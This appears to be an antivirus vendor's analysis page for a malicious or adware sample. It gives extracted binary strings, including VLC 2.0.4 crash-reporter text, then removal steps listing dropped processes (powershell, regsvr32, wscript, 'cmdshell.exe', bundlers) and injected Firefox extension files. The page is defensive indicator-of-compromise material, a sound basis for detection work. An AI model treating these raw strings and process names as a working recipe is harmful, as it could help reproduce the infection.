wcscpy_s(szExeName, 260, L"<program name unknown>")
__crtMessageWindowW
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h
("Corrupted pointer passed to _freea", 0)
f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c
mscoree.dll
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\access.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c
f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c
strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))
.sizeInTChars > 0
f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c
("Invalid MBCS character sequence passed to strftime",0)
("Invalid MBCS character sequence passed into strftime",0)
f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")
_NMSG_WRITE
f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
strcpy_s(szExeName, 260, "<program name unknown>")
__crtMessageWindowA
f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c
f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))
KERNEL32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportA
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportW
f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c
WUSER32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\close.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c
f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\write.c
f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\open.c
0 && "Only UTF-16 little endian & UTF-8 is supported for reads"
f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2
f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c
strcpy_s(resultstr, resultsize, autofos.man)
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c
("CRT Logic error during setenv",0)
__crtsetenv
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
\\.\jsdrv1,42,0,1794
stproxy.cpp
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator   
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm
invalid operator<
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --
gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator   
1,42,0,1794

vlc.exe_552:




.text
P`.data
.rdata
`@.bss
.idata
.rsrc
.gnu_deb
libgcj_s.dll
Can't connect to FTP server 0xlu
VLC/2.0.4
globalhotkeys,none
VirtualQuery failed for %d bytes at address %p
Unknown pseudo relocation protocol version %d.
Unknown pseudo relocation bit size %d.
FtpPutFileW
libvlc.dll
KERNEL32.dll
msvcrt.dll
PSAPI.DLL
SHELL32.DLL
USER32.dll
WININET.DLL
<<<66:*/
.FDGS5$Yfll
Tx.AP:|
T.syy
L&Y^.sxx
.ZL9L
vlc.exe.dbg
OS=%d.%d.%d.%d.%s
VLC=2.0.4 Twoflower
x at %px
%p|%s
VLC crash reporting
VLC media player just crashed. Do you want to send a bug report to the developers team?
VLC Crash Reporter
crash.videolan.org
/crashes-win32/dddddd
Report sent
Report sent correctly. Thanks a lot for the help.
Report sending failed
There was an error while transferring to the FTP server. Thanks a lot for the help anyway.
There was an error while connecting to the FTP server. Thanks a lot for the help anyway.
kernel32.dll
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\crashdump
vlc.exe
2.0.4
VLC media player 2.0.4






Remove it with Ad-Aware




    

  1. Click (here) to download and install Ad-Aware Free Antivirus.
    2. 

  2. Update the definition files.
    3. 

  3. Run a full scan of your computer.
    4. 





Manual removal*




    

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):
    

    62de6a4a-4569-4108-bd93-895e0f28cde9-4.exe:1760
    YTAHelper.exe:4008
    smt_istartsurf.exe:2000
    ProtectWindowsManager.exe:3736
    ProtectWindowsManager.exe:3752
    YouTubeAcceleratorService.exe:3812
    YouTubeAcceleratorService.exe:3680
    YouTubeAcceleratorService.exe:3728
    ProtectService.exe:4080
    ProtectService.exe:4064
    Vbrgnmfwi.exe:2612
    wpm_v20.0.0.2227.exe:3716
    biclient.exe:2144
    ins_yta.exe:3540
    QQBrowser.exe:3628
    QQBrowser.exe:2636
    testlsp.exe:3976
    vlc-cache-gen.exe:4008
    powershell.exe:1520
    powershell.exe:3548
    powershell.exe:3864
    setup.exe:3452
    HPNotify.exe:3488
    XTab_Setup2253.exe:3824
    cmdshell.exe:2332
    jsdrv.exe:3592
    ShopperPro.exe:1916
    %original file name%.exe:1856
    GLBBFC5.tmp:3604
    ins_shopperpro.exe:3676
    regsvr32.exe:3916
    regsvr32.exe:3664
    regsvr32.exe:2248
    regsvr32.exe:3328
    regsvr32.exe:2956
    regsvr32.exe:3316
    lspinst.exe:3992
    lspinst.exe:3828
    YTAHEL~1.EXE:3272
    Xqaaz.exe:3480
    DCytaiesmt_smtyc_setup.exe:3500
    DCytaiesmt_smtyc_setup.exe:3240
    DCytaiesmt_smtyc_setup.exe:3436
    DCytaiesmt_smtyc_setup.exe:3972
    DCytaiesmt_smtyc_setup.exe:3656
    DCytaiesmt_smtyc_setup.exe:1660
    spbiu.exe:3144
    spbiu.exe:3740
    F391.tmp:2924
    59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.exe:1636
    wscript.exe:2552
    vlc-2.0.4-win32.exe:1900
    GLJC014.tmp:3416
    INS_SENSE.EXE:3556
    taskeng.exe:3132
    ytaiesmt_smtyc_setup.exe:3956
    vlc.exe:552
    INS_IWEBAR.EXE:1452
    

    2. 

  2. Delete the original Application file.
    3. 

  3. Delete or disinfect the following files created/modified by the Application:
    

    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7246d6da56ee6b31d4af9057543e222a.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ec3eba6fe13cd5d70892f32c3eb3a535.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6b2d8447eb01b3b8884e1c94248d236d.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2870aaa42c86ebe2c74adab7cf696ce3.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\46e0fa659cd6644d68f1f438de248f91.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\cd140fe521b76fb46e07a1034da23950.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\88099a11da6b8cb36824d634f7d7c06f.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\40db5e8e4e778b251700f54c09f7f8a2.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4894bcd5bfe064bcf7b2dc8b0942bbf7.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\d03444bb7a7841055d55fb7ccdab17c0.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6f33f16a869eaf354b888f9d2de58d1a.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\107c999c21028d7eb1d1ea9d7cc90e53.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a38d86bcbbcdc27a8ff83bef67beee8d.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\411dff1ae5ec8f7f4485855e21e77473.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\30c507ed3329da89f3bef5a588c61d2e.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\8e38e158b9d00e009c3b5fbb1d513fdd.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9f09e0f00cc92e720042d6e7b6caa305.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c224d6c9e4521f97a1d9e4a4ed786446.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\61783f2b7a215182eac982347c4bfc52.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a946adef66411dbeebeb7979bd7aedc0.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
